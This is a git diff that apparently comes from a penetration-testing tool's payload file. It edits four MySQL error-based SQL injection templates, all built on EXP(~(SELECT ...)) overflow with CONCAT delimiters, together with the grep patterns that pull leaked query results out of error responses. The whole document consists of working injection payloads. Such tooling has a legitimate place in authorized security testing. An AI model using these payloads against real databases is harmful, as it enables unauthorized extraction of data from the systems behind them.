diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml
index 1c5a1b270..7c4b54c5c 100644
--- a/xml/payloads/02_error_based.xml
+++ b/xml/payloads/02_error_based.xml
@@ -156,9 +156,9 @@
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>1</where>
-        <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x))</vector>
+        <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
         <request>
-            <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x))</payload>
+            <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -176,9 +176,9 @@
         <risk>3</risk>
         <clause>1</clause>
         <where>1</where>
-        <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x))</vector>
+        <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
         <request>
-            <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x))</payload>
+            <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -729,9 +729,9 @@
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>3</where>
-        <vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x))</vector>
+        <vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
         <request>
-            <payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x))</payload>
+            <payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -965,9 +965,9 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x))</vector>
+        <vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
         <request>
-            <payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x))</payload>
+            <payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>